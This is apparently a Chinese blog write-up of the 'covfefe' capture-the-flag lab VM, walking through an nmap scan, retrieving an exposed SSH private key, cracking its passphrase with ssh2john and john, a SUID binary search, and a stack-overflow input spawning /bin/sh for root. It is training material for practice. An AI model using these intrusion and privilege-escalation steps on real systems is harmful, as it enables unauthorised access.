Linux

covfefe渗透实战

2019-01-29  本文已影响1人  城市烈人

该渗透实战利用了私钥登录ssh,解密私钥、堆栈溢出提权等操作,算是对基本功操作进行巩固吧。。。
靶机IP:192.168.8.139
kali-ip :192.168.8.253

nmap全端口扫

nmap -sS -Pn -A -p- -n 192.168.8.139
1

看来web服务开了两个端口80和31337

不过80就一个Nginx的界面

WEB信息收集

直接走31337

http://192.168.8.139:31337/robots.txt中发现了

2
Disallow: /.bashrc
Disallow: /.profile
Disallow: /taxes

直接get flag1: http://192.168.8.139:31337/taxes/

flag1{make_america_great_again}
3

访问/.bashrc和/.profile,可以直接down下两个文件,貌似是shell脚本,看不懂

继续爆目录,发现了/.ssh,提示了以下三个文件


4

访问该三个文件,down下来

http://192.168.8.139:31337/.ssh/id_rsa
http://192.168.8.139:31337/.ssh/authorized_keys
http://192.168.8.139:31337/.ssh/id_rsa.pub

id_rsa和id_rsa.pub应该就是ssh的登录密钥

打开公钥id_rsa.pub可以看到:


5

登录用户名应该就是:simon

john解私钥

用私钥id_rsa登录:

ssh -i id_rsa simon@192.168.8.139

看来私钥经过加密了


6

john解密:

1、先将私钥id_rsa生成一个hash文件:

ssh2john id_rsa > key

2、用john破解它:

john key
7

破解成功,

id_rsa:starwars

密钥的密码就是starwars

ssh登录

8

直接进入root,找到flag,不过没有权限


9

溢出提权

发现了root目录下还有一个read_message.c文件,读一下看看


10

get flag2:

flag2{use_the_source_luke}

这是read_message的源码,不过没有权限去编译、运行它。找找靶机中可以执行的二进制文件

find / -perm -4000 2> /dev/null
11

找到了应该是编译好的/usr/local/bin/read_message,执行它:


12

提示我们看源码

通过阅读源代码, 我们发现, 当我们输入一个字符串时, 它将与 simon 一起检查字符串的前5字符。如果匹配, 它将运行一个程序/usr/local/bin/read_message。现在输入它被分配大小为20个字节。因此, 我们溢出堆栈进入超过20个字节的数据。我们使用前5个字符是 "Simon", 然后是 15 个"0", 然后是 "/bin/sh" 在第21字节,溢出提权

Simon000000000000000/bin/sh
13

get flag3:

flag3{das_bof_meister}

总结

1、该靶机算是巩固复习了ssh以私钥登录,john解私钥的方法
2、找到源码,没有权限编译、执行,就先全局搜一下可执行的二进制文件。
3、阅读源码,构造堆栈溢出/bin/bash提权

covfefe靶机百度云下载
链接:https://pan.baidu.com/s/1k-QSfjp1ed9xLsXD_n4oGg
提取码:83uw

上一篇下一篇

猜你喜欢

热点阅读